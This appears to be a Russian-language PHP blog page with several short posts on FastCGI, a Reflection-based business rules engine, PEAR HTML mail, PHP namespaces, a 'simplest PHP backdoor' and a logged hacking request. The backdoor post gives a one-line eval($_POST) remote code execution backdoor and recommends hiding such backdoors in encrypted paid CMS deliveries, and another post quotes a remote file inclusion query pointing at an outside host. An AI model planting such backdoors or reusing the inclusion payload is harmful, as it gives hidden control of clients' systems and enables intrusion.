FastCGI process manager для PHP

Набрёл на интересную презентацию Андрея Нигматулина на phpconf08, которій рассказывает о проблемах PHP на высоких нагрузках. О apache, nginx, eaccelerator, fastcgi и своём менеджере php-процессов.


BRMS на php с отражениями

Отражения (Reflection API) в php — мощный инструмент для самоанализа кода. Давно не писал ничего интересного, а тут такая интересная мини-задачка - написать маленькую систему бизнес-правил aka BRMS для обработки сложных форм, причём не просто десять табов который сохраняются в БД, а анализ который приводит к каким-то выводам.

В качестве ядерного решения  выступает вызов правил как методов, но тут ещё такая особенность что поскольку форма не одна, и поскольку они очень похожи, то решение - вызывать методы на основе входных данных. Грубо говоря - приходит 40 input-полей, мы анализируем какие из этих полей подходят в качестве аргументов конкретному методу (скажем 3) и вызываем его уже с 3 аргументами (вместо передачи всего массива).

Как я выше написал, анализ проводится с помощью малодокументированными но вполне рабочими отражениями. В итоге примерно такой код..
$oRuleContainer = new cRuleContainer(); //просто класс с методами-правилами
$rContainer = new ReflectionClass('cRuleContainer'); //отражение класса

//где-то тут цикл по вызываемым методам, можно проходится по всем
//но я проходил по методам из базы, поэтому его опускаю.. тут появляется $aRule
$rMethod = $rContainer->getMethod($aRule['method']);
$aArgs = $rMethod->getParameters();

//выбираем только нужные аргументы
if($aArgs){
    foreach($aArgs as $refArgument){
        $arrPassedArgData[$refArgument->name]=$_POST[$refArgument->name];
    }
}

if(call_user_func_array(array($oRuleContainer,$aRule['method']),$arrPassedArgData)){
//правило сработало
}

Кстати, я прекрасно понимаю что можно вызывать правила без ничего, читая всё из POST, но тут решение эстетическое и повторно используемое.

Стильная почта с картинками на PEAR

PEAR - вполне неплохая php-библиотека, хоть и достаточно тяжёлая. Определённо и в других библиотеках имеются классы работающие с рассылкой почты. А рассылка почты системой должна как правило отличатся от обычной mail() функции. Более того, модули рассылок почты зарегистрированным пользователям обычно самые сложные. И вопрост не столько в том что я ниже описываю как отсылается почта, а в том кому и в каком виде это делается.

При работе с таким модулем обычно делают такие основные регистры (понятия, коренные таблицы, классы если хотите):

  • Письмо которое включает заголовок, содержание (наверно на нескольких языках)
  • Рассылка (кому какое письмо надо отослать и прогресс этого)
  • Пользователи (не обязательно из таблицы зарегистрированных пользователей, может быть вполне список почтовых адресов)

Дальше можно усложнять тем что можно выбрать пользователей по каким-нибудь параметрам (возраст, язык, пол, группы и тп). Можно добавить слежение за тем что пользователь прочитал письмо (вставить картинку с сайта). Обязательна функция отказа от рассылки. Это наверно все знают, поэтому делюсь кодом который часто использую для собственно процесса отсылания почты.

Ещё одна особенность при авторассылке это шаблонная замена имени, ссылок, дат, цен - всего того что пользователи с издёвкой отмечают корпоративной безжизненностью. Эти замены должны быть достаточно гибкими что-бы пользователи не заметили что они дешёвый материал; Нельзя рассылать письма типа "Дорогой Ира Кузнецова", или "Дорогой Artjom.." - надо обращать внимание на язык, пол, временную зону, кодировку имени пользователя. Умную рассылку не так легко написать, но сегодня я не об этом, а только о части - о картинках.

Есть два типа внедрения картинок - со внешними ссылками (помоему наиболее приемлимый), либо с картинками которые прикреплены как ариложения (attachment). Этот второй вариант значит что картинки покажут сразу (пользователю не надо подтверждать доверие ко внешним ссылкам), но в то же время некоторые email-сервисы типа google всё-равно внизу страницы уродливо показывают эти картинки отдельно как приложения, тогда как Outlook жуёт нормально.

 

Простейший backdoor на php

Backdoor — тайный ход, лазейка. Разумное человечество использовало всегда запасной случай что-бы не попасть впросак. К примеру те же замки, которые могли иметь по несколько тайных ходов на случай осады. В том же Гарри Поттере это придаёт много интриги сюжету, а вместе с ним и больше свободы, силы и возможностей персонажу.

В инфосистемах же лазейки нужны не только мстящим бывшим сотрудникам, влезшим через загрузку аватара хакерам, но и в обычном процессе поставки платной зашифрованной Zend'ом или IonCube'ом CMSки. Помоему самый лучший backdoor на php выглядит примерно так:

eval($_POST['sys_call']);
//echo '<form method="POST"><textarea name="sys_call"></textarea><input type="submit"></form>';

Конечно тут могут быть вариации с проверкой IP или домена "палача", и более сложные защиты от третьих лиц. С точки зрения клиента, таким же обходным путём является функция восстановление пароля через email.

Взломы

Не в планах было писать о взломах, но поскольку модуль статистики у меня исправный, а запросы к серверу интересные, то немогу не поделиться

Как вам такой GET запрос..
?_SERVER[DOCUMENT_ROOT]=http://moisidis.gr/siteframe/ips.txt?

Пространство имён в php 5.3 и php 6

Пространство имён (namespace/package) знакомо java и c# программистам, теперь доступно и в php. Нужно оно для того, что-бы не писать длинные перефиксы к названиям классов, как сейчас делается в Zend, PEAR и других библиотеках и платформах для совместимости.

Вместо этого классы, функции, интерфейсы (абстрактные классы) и константы могут быть объединены в одно пространство имён. Глобальные переменные в это пространство не входят.

Простой пример

Определяется пространство ключевым словом namespace

//определяем класс в пространстве
namespace MyCMS::Core;
class System{}

Использование этого класса в третьих библиотеках осуществляется ключевым словом use

require_once('mycms/core.php');
use MyCMS::Core::System; //импортируем только заданный класс
$objSystem=new System;

Как вы уже догадались, разделитель :: работает так же как и вызов статических методов, разделяя уровень пространства имён и конкретный класс. Уровень вложённости пространств можно использовать наряду с модульностью библиотеки, например реализовать пространства Database::MySQL::Adapter и Database::Oracle::Adapter.

Новые возможности и новые проблемы

Если в пространстве имён имя класса перезаписывает ранее объявленный глобальный класс или функцию, то к нему по прежнему можно обратится через ::SomeClassName, однако не зная к какой именно реализации программист обращается может вызвать проблемы. Например можно переобъявить стандартные php функции, поменять sin() и cos() местами, что-бы кому-то жизнь мёдом не казалась.

Для отладки существует рабочая константа __NAMESPACE__.

С двоеточием возникает и проблема неоднозначности:

A::B() // вызов функции B из namespace A
A::B() // вызов статичного метода B у класса A

Читайте по теме: